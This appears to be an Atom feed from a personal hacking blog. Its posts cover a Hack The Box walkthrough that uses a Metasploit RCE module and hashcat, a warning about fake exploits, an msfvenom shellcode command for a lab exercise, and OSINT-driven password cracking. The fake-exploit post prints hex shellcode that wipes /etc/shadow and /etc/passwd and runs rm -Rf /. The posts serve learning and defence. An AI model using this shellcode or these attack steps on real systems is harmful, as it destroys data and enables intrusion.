<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://7r0u7m4n.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://7r0u7m4n.github.io/" rel="alternate" type="text/html" /><updated>2026-07-21T13:33:18+00:00</updated><id>https://7r0u7m4n.github.io/feed.xml</id><title type="html">Hacking Club Mate</title><subtitle>Just a random dude writing about hacking from time to time.</subtitle><author><name>7r0u7m4n</name></author><entry><title type="html">HTB: WingData Writeup</title><link href="https://7r0u7m4n.github.io/writeup/htb/2026/07/14/htb-wingdata.html" rel="alternate" type="text/html" title="HTB: WingData Writeup" /><published>2026-07-14T12:22:28+00:00</published><updated>2026-07-14T12:22:28+00:00</updated><id>https://7r0u7m4n.github.io/writeup/htb/2026/07/14/htb-wingdata</id><content type="html" xml:base="https://7r0u7m4n.github.io/writeup/htb/2026/07/14/htb-wingdata.html"><![CDATA[<p>WingData is an easy Linux machine published during the 10th Hack the Box Season (Season of the Underground).
As usual, the first step is to run our nmap scan.</p>

<p><img src="/assets/images/WingData/1.webp" alt="nmap scan" /></p>

<p>As we can see, we got two open ports, 22 for ssh and 80 for an HTTP server. We can update our /etc/hosts file to visit the page directly.</p>

<p><img src="/assets/images/WingData/2.webp" alt="hosts" /></p>

<p>By clicking on Client Portal, we are redirected to a login page that shows the version of Wing FTP Server.</p>

<p><img src="/assets/images/WingData/3.webp" alt="hosts" /></p>

<p>As you can see, the version is 7.4.3 and a quick search on Exploit Database clearly shows that is vulnerable to Unauthenticated Remote Code Execution.</p>

<p><img src="/assets/images/WingData/3.5.webp" alt="exploit-db" /></p>

<p>From there, a quick search on Metasploit shows that there is a module ready to use.</p>

<p><img src="/assets/images/WingData/4.webp" alt="metasploit" /></p>

<p>Quick set of the options (basically Remote Host, Virtual Host and Local Host).</p>

<p><img src="/assets/images/WingData/5.webp" alt="metasploit-options" /></p>

<p>And now let the magic begin.</p>

<p><img src="/assets/images/WingData/6.webp" alt="run-exploit" /></p>

<p>An exploration of the different files and folders will lead us to the golden nuggets.</p>

<p><img src="/assets/images/WingData/7.webp" alt="hashes" /></p>

<p><img src="/assets/images/WingData/8.webp" alt="salt" /></p>

<p>At this point, it’s time to unleash hashcat.</p>

<p><img src="/assets/images/WingData/9.webp" alt="hashcat" /></p>

<p>And let’s finish by collecting the user flag using the credentials we’ve just obtained.</p>

<p><img src="/assets/images/WingData/10.webp" alt="ssh" /></p>

<p>I did not documented the privilege escalation steps, but once you’re in it shouldn’t be to difficult.
Hope you’ve enjoyed my first writeup!</p>]]></content><author><name>7r0u7m4n</name></author><category term="writeup" /><category term="htb" /><summary type="html"><![CDATA[WingData is an easy Linux machine published during the 10th Hack the Box Season (Season of the Underground). As usual, the first step is to run our nmap scan.]]></summary></entry><entry><title type="html">Where the wild exploits are</title><link href="https://7r0u7m4n.github.io/general/2026/02/19/where-the-wild-exploits-are.html" rel="alternate" type="text/html" title="Where the wild exploits are" /><published>2026-02-19T12:22:28+00:00</published><updated>2026-02-19T12:22:28+00:00</updated><id>https://7r0u7m4n.github.io/general/2026/02/19/where-the-wild-exploits-are</id><content type="html" xml:base="https://7r0u7m4n.github.io/general/2026/02/19/where-the-wild-exploits-are.html"><![CDATA[<p>Consider this scenario: while doing an actual penetration test or maybe a simple CTF your nmap scan returns that the target machine is running Apache 2.4.2 on port 80.</p>

<p>The subsequent step is pretty standard: you start looking if the identified service is affected by some known vulnerability. During your research you stumble into this:</p>

<p>https://pastebin.com/j70T9KHJ</p>

<p>Wow, a 0day exploit nonetheless! And targeting Apache 2.2.22 to Apache 2.4.2!</p>

<p>So you do what many people would do: compile it, launch it, and wait for a shell.</p>

<p>But… what is happening? Why is your computer not working anymore?
What went wrong?</p>

<p>If we took the time to check the whole code of the “exploit”, we would have noticed a variable like this:</p>

<p>unsigned char shellcode[] = 
“\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68”
“\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x39\x00\x00\x00\x65”
“\x63\x68\x6f\x20\x22\x22\x20\x3e\x20\x2f\x65\x74\x63\x2f\x73”
“\x68\x61\x64\x6f\x77\x20\x3b\x20\x65\x63\x68\x6f\x20\x22\x22”
“\x20\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x20”
“\x3b\x20\x72\x6d\x20\x2d\x52\x66\x20\x2f\x00\x57\x53\x89\xe1”
“\xcd\x80”;</p>

<p>A quick decoding from hex (CyberChef is perfect for this) reveals that this isn’t “magic exploit stuff”. It’s just a payload executing commands.</p>

<p><img src="/assets/images/WildExploits/1.webp" alt="cyberchef" /></p>

<p>…and that translates to: say hello to your machine</p>

<p>That shellcode doesn’t aim to compromise the Apache target.</p>

<p>It aims to compromise you.</p>

<p>In practice, it translates to something along the lines of:</p>

<p>overwriting /etc/shadow
overwriting /etc/passwd
and then executing the classic point-of-no-return:</p>

<p>rm -Rf /</p>

<p>So yeah: say hello to your machine.</p>

<p>The real takeaway: exploit hygiene</p>

<p>Always take the time to read the code of a supposed exploit.</p>

<p>Every obfuscated piece is a potential red flag for something that will turn us from the attacker into the victim. Long hex strings, opaque byte arrays, suspicious encodings, and unexplained syscalls should immediately trigger caution.</p>

<p>At minimum:</p>

<ol>
  <li>Decode hex strings and check what they really contain.</li>
  <li>Understand syscalls (if there’s shellcode, identify what syscall it triggers and with which arguments).</li>
  <li>Verify what it actually does, not what the comments claim it does.</li>
  <li>Test in isolated environments:</li>
  <li>VM snapshots (so you can roll back instantly)</li>
  <li>no shared folders / clipboard if possible</li>
  <li>minimal privileges (avoid running as root unless you really know why)</li>
</ol>

<p>And whenever possible, stick to more trusted sources instead of random pastes, such as:</p>

<p>https://www.exploit-db.com/
https://www.rapid7.com/db/</p>

<p>Because the most dangerous “exploit” isn’t the one that doesn’t work.</p>

<p>It’s the one that works exactly as intended — just not against the target you had in mind.</p>]]></content><author><name>7r0u7m4n</name></author><category term="general" /><summary type="html"><![CDATA[Consider this scenario: while doing an actual penetration test or maybe a simple CTF your nmap scan returns that the target machine is running Apache 2.4.2 on port 80.]]></summary></entry><entry><title type="html">The right tool for the job</title><link href="https://7r0u7m4n.github.io/general/2025/12/17/the-right-tool-for-the-job.html" rel="alternate" type="text/html" title="The right tool for the job" /><published>2025-12-17T12:22:28+00:00</published><updated>2025-12-17T12:22:28+00:00</updated><id>https://7r0u7m4n.github.io/general/2025/12/17/the-right-tool-for-the-job</id><content type="html" xml:base="https://7r0u7m4n.github.io/general/2025/12/17/the-right-tool-for-the-job.html"><![CDATA[<p>Recently, I embarked on the Intro to Assembly Language module on Hack the Box. Coming from a background in C, I thought I had a good grasp of compiled languages. However, I quickly realized that Assembly is an entirely different beast. While Hack the Box is an excellent platform, it’s not necessarily the ideal place to learn programming languages in depth.
But the module was also the last one I needed to complete the SOC Analyst Prerequisites Skill Path and, I don’t know you, but I hate to have unfinished business.
And then I reach last skills assessment:</p>

<p>We are performing a pentest, and in a binary exploitation exercise, we reach the point where we have to run our shellcode. However, only a buffer space of 50 bytes is available to us. So, we have to optimize our assembly code to make it shellcode-ready and under 50-bytes to successfully run it on the vulnerable server.</p>

<p>Tips:</p>

<ol>
  <li>Refer to the “Syscalls” section to understand what the assembly code is doing.</li>
  <li>Refer to the “Shellcoding Techniques” section to be able to optimize the assembly code. The above server simulates a vulnerable server that we can run our shellcodes on. Optimize ‘flag.s’ for shellcoding and get it under 50 bytes, then send the shellcode to get the flag. (Feel free to find/create a custom shellcode)</li>
</ol>

<p>After spending two frustrating days attempting to optimize assembly code manually, I had an epiphany. The mindset of a hacker differs from that of a traditional programmer. Sometimes, the most efficient solution is choosing the right tool rather than writing code from scratch.
I turned to MSFVenom, a powerful payload generation tool. Here’s the magic command:</p>

<p>msfvenom -p ‘linux/x64/exec’ CMD=’cat /flg.txt’ -a ‘x64’ –platform ‘linux’ -f ‘hex’</p>

<p>where:
-p ‘linux/x64/exec’ - select the payload to execute commands
CMD=’cat /flg.txt’ - specify the command to run
-a ‘x64’ - define the system architecture
–platform ‘linux’ - set the target OS
-f ‘hex’ - choose the output format
Result?</p>

<p><img src="/assets/images/RightTool/1.webp" alt="msfvenom" /></p>

<p>The final step was simple: use netcat to send the shellcode to the target machine. Boom! Flag obtained.
Hacking is fundamentally about tool selection and strategic thinking, not just raw coding skills. Sometimes, the most elegant solution is the simplest one.</p>]]></content><author><name>7r0u7m4n</name></author><category term="general" /><summary type="html"><![CDATA[Recently, I embarked on the Intro to Assembly Language module on Hack the Box. Coming from a background in C, I thought I had a good grasp of compiled languages. However, I quickly realized that Assembly is an entirely different beast. While Hack the Box is an excellent platform, it’s not necessarily the ideal place to learn programming languages in depth. But the module was also the last one I needed to complete the SOC Analyst Prerequisites Skill Path and, I don’t know you, but I hate to have unfinished business. And then I reach last skills assessment:]]></summary></entry><entry><title type="html">How the Hash was won</title><link href="https://7r0u7m4n.github.io/general/2025/12/16/how-the-hash-was-won.html" rel="alternate" type="text/html" title="How the Hash was won" /><published>2025-12-16T12:22:28+00:00</published><updated>2025-12-16T12:22:28+00:00</updated><id>https://7r0u7m4n.github.io/general/2025/12/16/how-the-hash-was-won</id><content type="html" xml:base="https://7r0u7m4n.github.io/general/2025/12/16/how-the-hash-was-won.html"><![CDATA[<p>Let’s have a bit of fun with password cracking (can’t wait, uh?).
In one of my last projects I have to deal with hashcat to crack hashed passwords but, most important, I had to understand how a good Open Source INTelligence (OSINT for friends) activity can make a significant difference in this activity.</p>

<p>First step: thanks to a cool Python script designed by my good friend Zstaigah, we’ve generated 1000 fake profiles with relative passwords hashed with the SHA-512 algorithm.
Then, using a tool called PassGPT we’ve obtained a first wordlist to try to crack the passwords. In this screenshot you can see the results:</p>

<p><img src="/assets/images/HashWon/1.webp" alt="first-hashcat" /></p>

<p>So, basically just 12 passwords were discovered. Promising, but yet non satisfactory.</p>

<p>Second step: we’ve decided to include rockyou, a list of over 14 million plaintext passwords from the 2009 RockYou hack (more info on this here). But…</p>

<p><img src="/assets/images/HashWon/2.webp" alt="second-hashcat" /></p>

<p>Another pass bites the dust.</p>

<p>Third step: at this point we’ve used a wordlist based on the personal information of the profiles and…</p>

<p><img src="/assets/images/HashWon/3.webp" alt="third-hashcat" /></p>

<p>BANG! All passwords cracked.
So, what can we learn from this?</p>

<ol>
  <li>Ensure your password are a robust mix of randomness and length</li>
  <li>Passwords alone are not sufficient; always utilize Multi-Factor Authentication (MFA) to secure your accounts, especially for sensitive corporate information. Always remember: don’t be the weak link that could lead to significant security setback.</li>
</ol>]]></content><author><name>7r0u7m4n</name></author><category term="general" /><summary type="html"><![CDATA[Let’s have a bit of fun with password cracking (can’t wait, uh?). In one of my last projects I have to deal with hashcat to crack hashed passwords but, most important, I had to understand how a good Open Source INTelligence (OSINT for friends) activity can make a significant difference in this activity.]]></summary></entry></feed>